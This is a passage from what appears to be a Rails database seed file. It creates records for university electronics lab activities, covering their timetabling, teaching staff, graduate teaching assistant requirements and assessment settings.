$ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a296.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a296.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a297 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"124\").first_or_create!(name: \"PWM Inductive\",\n name_abrv: \"PE2\", archived: false, in_drive: false, user_id: 5)\n at297 = ActivityTimetable.where(activity_id: a297.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"PE1 and PE2 are effectively a 2 part lab, a continuation of the same experiment. Try to keep them close for each student - same week or consecutive weeks\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a297.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a297.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a297.id).first_or_create!(assess_weight: nil, notes: \"Assessed with PWM Resistive - should really be combined\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a297.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a297.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a298 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"125\").first_or_create!(name: \"PWM Resistive\",\n name_abrv: \"PE1\", archived: false, in_drive: false, user_id: 2)\n at298 = ActivityTimetable.where(activity_id: a298.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 27, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"PE1 and PE2 are effectively a 2 part lab, a continuation of the same experiment. Try to keep them close for each student - same week or consecutive weeks\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a298.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a298.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a298.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a298.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a298.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a299 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"125\").first_or_create!(name: \"PWM Resistive\",\n name_abrv: \"PE1\", archived: false, in_drive: false, user_id: 2)\n at299 = ActivityTimetable.where(activity_id: a299.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"PE1 and PE2 are effectively a 2 part lab, a continuation of the same experiment. Try to keep them close for each student - same week or consecutive weeks\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a299.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a299.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a299.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a299.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a299.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a300 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR131\").first.id, code: \"128\").first_or_create!(name: \"RLC Circuits\",\n name_abrv: \"RLCC\", archived: false, in_drive: false, user_id: 4)\n at300 = ActivityTimetable.where(activity_id: a300.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 25, notes: \"\",\n capacity: 100, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a300.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a300.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a300.id).first_or_create!(assess_weight: 30.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a300.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a300.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a301 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE118\").first.id, code: \"129\").first_or_create!(name: \"Simple Single Transistor Amplifier\",\n name_abrv: \"BJT\", archived: false, in_drive: false, user_id: 1)\n at301 = ActivityTimetable.where(activity_id: a301.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"210 minutes x 2 sessions. The two sessions should be as close as possible. Ideally on consecutive days.\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a301.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"BJT\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a301.id).first_or_create!(criteria: \"Must be familiar with simple transistor (BJT) circuits\n Must be confident constructing circuits and using digital multimeters and signal generators\n Must be confident helping students draw graphs and draw conclusions from measured data\",\n job_desc:\"Help students construct simple circuits using bipolar junction transistors\n Assist students to make current and voltage measurements on\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a301.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 2)\n ActivityTech.where(activity_id: a301.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a301.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a302 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER223\").first.id, code: \"130\").first_or_create!(name: \"Switching Transistors\",\n name_abrv: \"PT\", archived: false, in_drive: false, user_id: 3)\n at302 = ActivityTimetable.where(activity_id: a302.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a302.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Switching Transistors\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a302.id).first_or_create!(criteria: \"Must be familiar with MOSFET power switching circuits\n Must be comforatble using an oscilloscope\n Must be able to safely set up and troubleshoot high power switching circuitry\n Must be familiar with resitive and inductive loads\",\n job_desc:\"A single lab session exploring MOSFETs used to drive both resistive and inductive loads. You will need to support students performing simulations in Simulink and interpreting current/voltage graphs. You will then need to help them construct a switching electronics system, using AC power, MOSFETs under FPGA control and an oscilloscope.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a302.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a302.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a302.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a303 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"130\").first_or_create!(name: \"Switching Transistors\",\n name_abrv: \"PT\", archived: false, in_drive: false, user_id: 2)\n at303 = ActivityTimetable.where(activity_id: a303.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a303.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"Switching Transistors\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a303.id).first_or_create!(criteria: \"Must be familiar with MOSFET power switching circuits\n Must be comforatble using an oscilloscope\n Must be able to safely set up and troubleshoot high power switching circuitry\n Must be familiar with resitive and inductive loads\",\n job_desc:\"A single lab session exploring MOSFETs used to drive both resistive and inductive loads. You will need to support students performing simulations in Simulink and interpreting current/voltage graphs. You will then need to help them construct a switching electronics system, using AC power, MOSFETs under FPGA control and an oscilloscope.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a303.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a303.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a304 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"131\").first_or_create!(name: \"Transformers\",\n name_abrv: \"TFM\", archived: false, in_drive: false, user_id: 5)\n at304 = ActivityTimetable.where(activity_id: a304.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 90, takedown_time: 90, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a304.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Transformers\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a304.id).first_or_create!(criteria: \"Must be familiar with transformers and inductors\n Must be familiar with high voltage AC circuits\n Must be confident checking the safety of high voltage and high current experiments\n Ideally confident in theoretical transformer models and how to measure the deviation of experiment from ideality\",\n job_desc:\"Help students measure the efficiency and other characteristics of transformers\n Identify differences between ideal transformers and experimental characterisations of real transformers\n Ensure that students make high voltage and high current measurements safely, including checking risk assessments before commencing work.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a304.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a304.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a304.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a305 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE117\").first.id, code: \"132\").first_or_create!(name: \"Transformers & Coupled Circuits\",\n name_abrv: \"TFCC\", archived: false, in_drive: false, user_id: 2)\n at305 = ActivityTimetable.where(activity_id: a305.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 5, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 90, takedown_time: 90, notes: \"210 minutes x 2 sessions. 2 sessions should be same week or as close together as possible\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a305.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Transformers Coupled Circuits\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a305.id).first_or_create!(criteria: \"Must be familiar with transformers and inductors\n Must be familiar with high voltage AC circuits\n Must be confident checking the safety of high voltage and high current experiments\n Ideally confident in theoretical transformer models and how to measure the deviation of experiment from ideality\",\n job_desc:\"Help students measure the efficiency and other characteristics of transformers\n Identify differences between ideal transformers and experimental characterisations of real transformers\n Ensure that students make high voltage and high current measurements safely, including checking risk assessments before commencing work.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a305.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a305.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a305.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a306 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"133\").first_or_create!(name: \"Transient Signal Measurements\",\n name_abrv: \"WS2\", archived: false, in_drive: false, user_id: 5)\n at306 = ActivityTimetable.where(activity_id: a306.id).first_or_create!(duration: 210, kit_prep_time: 1400, min_week_num: 2, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a306.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"WS2\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a306.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Provide guidance to students on advanced oscilloscope skills i.e. data export and specialist triggering/measurement modes\n Train students to calibrate oscilloscopes before use.\n Explain principles of diode rectification and demonstrate them using LEDs soldered on a PCB\n Supervise students to safely solder a small PCB using a circuit diagram to guide them - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a306.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a306.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a306.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a307 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE221\").first.id, code: \"133\").first_or_create!(name: \"Transient Signal Measurements\",\n name_abrv: \"WS2\", archived: false, in_drive: false, user_id: 3)\n at307 = ActivityTimetable.where(activity_id: a307.id).first_or_create!(duration: 210, kit_prep_time: 1400, min_week_num: 2, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a307.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"WS2\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a307.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Provide guidance to students on advanced oscilloscope skills i.e. data export and specialist triggering/measurement modes\n Train students to calibrate oscilloscopes before use.\n Explain principles of diode rectification and demonstrate them using LEDs soldered on a PCB\n Supervise students to safely solder a small PCB using a circuit diagram to guide them - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a307.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a307.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a307.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a308 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"133\").first_or_create!(name: \"Transient Signal Measurements\",\n name_abrv: \"WS2\", archived: false, in_drive: false, user_id: 2)\n at308 = ActivityTimetable.where(activity_id: a308.id).first_or_create!(duration: 180, kit_prep_time: 1400, min_week_num: 4, max_week_num: 8, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a308.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"WS2\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a308.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Provide guidance to students on advanced oscilloscope skills i.e. data export and specialist triggering/measurement modes\n Train students to calibrate oscilloscopes before use.\n Explain principles of diode rectification and demonstrate them using LEDs soldered on a PCB\n Supervise students to safely solder a small PCB using a circuit diagram to guide them - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a308.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a308.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a308.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a309 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER123\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: false, in_drive: false, user_id: 1)\n at309 = ActivityTimetable.where(activity_id: a309.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a309.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a309.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a309.id).first_or_create!(assess_weight: 6.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a309.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a309.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a310 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: false, in_drive: false, user_id: 1)\n at310 = ActivityTimetable.where(activity_id: a310.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a310.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a310.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a310.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a310.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a311 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE218\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: false, in_drive: false, user_id: 1)\n at311 = ActivityTimetable.where(activity_id: a311.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a311.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a311.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a311.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a311.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a311.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a312 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE221\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: false, in_drive: false, user_id: 5)\n at312 = ActivityTimetable.where(activity_id: a312.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a312.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a312.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a312.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a312.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a312.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a313 = 